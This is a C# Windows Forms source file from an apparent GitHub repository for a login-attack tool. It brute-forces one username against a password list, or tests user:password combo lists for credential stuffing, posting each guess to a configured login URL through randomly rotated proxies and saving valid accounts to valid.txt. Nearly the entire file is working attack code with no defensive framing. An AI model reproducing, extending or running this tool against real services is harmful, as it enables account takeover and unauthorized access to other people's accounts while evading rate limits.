-
Notifications
You must be signed in to change notification settings - Fork 3
/
Form1.cs
286 lines (255 loc) · 10.8 KB
/
Form1.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Net.Http;
using System.Net.Http.Headers;
using static System.Windows.Forms.VisualStyles.VisualStyleElement.StartPanel;
using System.Net;
namespace jth
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void passwordlistselect_btn_Click(object sender, EventArgs e)
{
if (openFileDialog1.ShowDialog() == DialogResult.OK)
{
string filepath = openFileDialog1.FileName;
passwordlist_tbox.Text = filepath;
}
}
private void configselect_btn_Click(object sender, EventArgs e)
{
if (openFileDialog2.ShowDialog() == DialogResult.OK)
{
string filepath = openFileDialog2.FileName;
config_tbox.Text = filepath;
}
}
private async void attack_btn_Click(object sender, EventArgs e)
{
if (checker_radio.Checked == false)
{
if (passwordlist_tbox.Text == "")
{
MessageBox.Show("Please Select A Password List");
return;
}
if (username_tbox.Text == "")
{
MessageBox.Show("Please Enter A Username");
return;
}
if (config_tbox.Text == "")
{
MessageBox.Show("Please Select A Config");
return;
}
if (proxylist_tbox.Text == "")
{
MessageBox.Show("Please Select A Proxy List");
return;
}
}
else
{
if (combo_tbox.Text == "")
{
MessageBox.Show("Please Select A Combo List");
return;
}
if (config_tbox.Text == "")
{
MessageBox.Show("Please Select A Config");
return;
}
if (proxylist_tbox.Text == "")
{
MessageBox.Show("Please Select A Proxy List");
return;
}
}
IniConfigParser parser = new IniConfigParser(config_tbox.Text);
string url = parser.GetConfigValue("target", "url");
int timeout = int.Parse(parser.GetConfigValue("bruteforce", "timeout"));
int maxAttempts = int.Parse(parser.GetConfigValue("bruteforce", "attempts"));
int delay = int.Parse(parser.GetConfigValue("bruteforce", "delay"));
string userheader = parser.GetConfigValue("headers", "userheader");
string passheader = parser.GetConfigValue("headers", "passheader");
string[] proxies = File.ReadAllLines(proxylist_tbox.Text);
if (proxies.Length == 0)
{
MessageBox.Show("Proxy list is empty.");
return;
}
Random random = new Random();
if (bruteforce_radio.Checked == true)
{
string[] passwords = File.ReadAllLines(passwordlist_tbox.Text);
foreach (string password in passwords)
{
bool success = false;
int attempts = 0;
while (!success && attempts < maxAttempts)
{
try
{
string proxyAddress = proxies[random.Next(proxies.Length)];
var httpClientHandler = new HttpClientHandler
{
Proxy = new WebProxy(proxyAddress),
UseProxy = true
};
using (HttpClient client = new HttpClient(httpClientHandler))
{
client.Timeout = TimeSpan.FromSeconds(timeout);
var content = new StringContent($"{userheader}={username_tbox.Text}&{passheader}={password}", System.Text.Encoding.UTF8, "application/x-www-form-urlencoded");
var response = await client.PostAsync(url, content);
if (response.IsSuccessStatusCode)
{
results.Text += $"Password Found: {password}\n";
success = true;
}
else
{
results.Text += $"Password Incorrect: {password}\n";
}
}
}
catch (TaskCanceledException ex)
{
results.Text += $"Request timed out: {ex.Message}\n";
}
catch (Exception ex)
{
results.Text += $"Error: {ex.Message}\n";
}
attempts++;
if (!success && attempts < maxAttempts)
{
results.Text += $"Retrying attempt {attempts} for password: {password}\n";
await Task.Delay(delay * 1000);
}
}
if (!success)
{
results.Text += $"Max attempts reached for password: {password}\n";
}
await Task.Delay(delay * 1000);
}
}
else
{
string[] combos = File.ReadAllLines(combo_tbox.Text);
foreach (var combo in combos)
{
var comboparts = combo.Split(':');
if (comboparts.Length != 2)
{
results.Text += $"Invalid combo format: {combo}\n";
continue;
}
var username = comboparts[0];
var password = comboparts[1];
bool success = false;
int attempts = 0;
while (!success && attempts < maxAttempts)
{
try
{
string proxyAddress = proxies[random.Next(proxies.Length)];
var httpClientHandler = new HttpClientHandler
{
Proxy = new WebProxy(proxyAddress),
UseProxy = true
};
using (HttpClient client = new HttpClient(httpClientHandler))
{
client.Timeout = TimeSpan.FromSeconds(timeout);
var content = new StringContent($"{userheader}={username}&{passheader}={password}", System.Text.Encoding.UTF8, "application/x-www-form-urlencoded");
var response = await client.PostAsync(url, content);
if (response.IsSuccessStatusCode)
{
results.Text += $"Account Found: {combo}\n";
using (StreamWriter writer = new StreamWriter("valid.txt", true))
{
await writer.WriteLineAsync(combo);
}
success = true;
}
else
{
results.Text += $"Account Incorrect: {combo}\n";
}
}
}
catch (TaskCanceledException ex)
{
results.Text += $"Request timed out: {ex.Message}\n";
}
catch (Exception ex)
{
results.Text += $"Error: {ex.Message}\n";
}
attempts++;
if (!success && attempts < maxAttempts)
{
results.Text += $"Retrying attempt {attempts} for combo: {combo}\n";
await Task.Delay(delay * 1000);
}
}
if (!success)
{
results.Text += $"Max attempts reached for combo: {combo}\n";
}
await Task.Delay(delay * 1000);
}
}
}
private void checker_radio_CheckedChanged(object sender, EventArgs e)
{
if (checker_radio.Checked == true)
{
username_tbox.Enabled = false;
passwordlistselect_btn.Enabled = false;
passwordlist_tbox.Enabled = false;
combo_tbox.Enabled = true;
combolist_btn.Enabled = true;
}
else
{
username_tbox.Enabled = true;
passwordlist_tbox .Enabled = true;
passwordlistselect_btn.Enabled = true;
combo_tbox.Enabled = false;
combolist_btn.Enabled = false;
}
}
private void combolist_btn_Click(object sender, EventArgs e)
{
if (openFileDialog1.ShowDialog() == DialogResult.OK)
{
string filepath = openFileDialog1.FileName;
combo_tbox.Text = filepath;
}
}
private void button1_Click(object sender, EventArgs e)
{
if (openFileDialog1.ShowDialog() == DialogResult.OK)
{
string filepath = openFileDialog1.FileName;
proxylist_tbox.Text = filepath;
}
}
}
}